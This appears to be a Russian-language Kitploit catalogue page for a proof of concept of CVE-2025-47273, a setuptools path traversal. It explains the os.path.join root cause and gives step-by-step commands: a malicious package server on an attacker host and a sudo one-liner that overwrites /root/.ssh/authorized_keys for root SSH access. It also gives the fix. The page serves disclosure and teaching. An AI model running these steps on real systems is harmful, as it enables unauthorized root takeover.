Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-47273-PoC — CVE-2025-47273 является уязвимостью обхода пути высокой степени серьезности в библиотеке setuptools ,в частности версии 78.1.0 . | Kitploit
Инструменты/GitHubGitHub/ahmedreda38/cve-2025-47273-poc
Повышение привилегийАнализ уязвимостейАнализ КодаЭксплуатацияБезопасность Цепочки ПоставокОбучение и Образование
GitHubahmedreda38/cve-2025-47273-poc

CVE-2025-47273-PoC

CVE-2025-47273 является уязвимостью обхода пути высокой степени серьезности в библиотеке setuptools ,в частности версии 78.1.0 .

Репозиторий
135 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-47273: setuptools версия 78.1.0 — Обход пути в setuptools.package_index

Отказ от ответственности

Данное Proof of Concept (PoC) предназначено исключительно для образовательных целей и проведения авторизованных аудитов безопасности. Автор не несет ответственности за неправомерное использование данной информации. Несанкционированный доступ к компьютерным системам является незаконным и неэтичным.


Анализ уязвимости

CVE-2025-47273 — это уязвимость обхода пути (path traversal), обнаруженная в модуле package_index библиотеки setuptools (версия 78.1.0 и ранее). Уязвимость позволяет злоумышленнику выполнить произвольную запись файла, передав специально сформированный URL методу PackageIndex.download().

Коренная причина: поведение os.path.join()

Проблема связана с частой ловушкой в функции os.path.join() языка Python. Согласно документации Python:

Если компонент является абсолютным путём, все предыдущие компоненты отбрасываются, и соединение продолжается с абсолютного пути.

В уязвимой версии setuptools имя целевого файла определяется путём извлечения имени из URL и объединения его с временной директорией:

root@kitploit:~
# setuptools/package_index.py
filename = os.path.join(tmpdir, name)

Если злоумышленник указывает URL, в котором часть с именем файла (после декодирования URL) начинается с косой черты /, то os.path.join отбрасывает префикс tmpdir и возвращает абсолютный путь, указанный в URL.

Схема потока уязвимости

root@kitploit:~
[ Подконтрольный злоумышленнику URL ]
http://attacker.local/%2fetc%2fpasswd
          |
          | 1. Декодирование URL
          v
[ Декодированное имя (name) ]
"/etc/passwd"
          |
          | 2. Вызов уязвимой функции
          v
os.path.join("/tmp/download_dir", "/etc/passwd")
          |
          | 3. Логика os.path.join в Python
          v
[ Результирующий путь (filename) ]
"/etc/passwd"  <-- /tmp/download_dir отбрасывается!

Техническое влияние

Поскольку путь назначения может быть заменён абсолютным путём, злоумышленник может записать произвольное содержимое в любое место файловой системы, куда у процесса есть права на запись.

Сценарии высокого воздействия:

  1. Повышение привилегий: Если процесс, использующий setuptools, работает с повышенными привилегиями (например, системный установщик), злоумышленник может перезаписать критически важные системные файлы, такие как /etc/passwd, /root/.ssh/authorized_keys, /etc/shadow и многие другие...
  2. Постоянство / RCE: Перезапись пользовательских конфигурационных файлов, таких как ~/.bashrc, ~/.ssh/authorized_keys, или внедрение кода в существующие библиотеки Python может привести к постоянному удалённому выполнению кода.

Воспроизведение (Перезапись /root/.ssh/authorized_keys)

Подготовка окружения

Уязвимость присутствует в setuptools версии 78.1.0.

root@kitploit:~
pip install setuptools==78.1.0

1. Сгенерируйте пару SSH-ключей в директории poc

root@kitploit:~
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""

2. Запустите вредоносный сервер (машина атакующего)

Скрипт server.py выступает в качестве вредоносного индекса пакетов. Он отдаёт файл полезной нагрузки независимо от запрашиваемого пути; в качестве нагрузки используется файл id_rsa.pub.

root@kitploit:~
python3 server.py 80

3. Запустите эксплойт (целевая машина)

Запустите запись файла с помощью этой команды, после чего вы сможете подключиться к root по SSH, используя созданную пару ключей.

root@kitploit:~
sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<IP_АТАКУЮЩЕГО>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'

4. Наконец, подключитесь по SSH к целевой машине как root с помощью закрытого ключа, созданного на шаге 1

root@kitploit:~
ssh -i id_rsa root@<IP-цели>

Меры по смягчению

Уязвимость была исправлена в версии setuptools 78.1.1. Исправление включает строгую санитизацию переменной name, полученной из URL, чтобы гарантировать, что она не содержит ведущих косых черт или букв дисков перед передачей в os.path.join().

Чтобы защитить своё окружение:

root@kitploit:~
pip install --upgrade setuptools

Ссылки

  • setuptools Issue #4946
  • NVD - CVE-2025-47273
  • Huntr Bounty Report
Скачать инструмент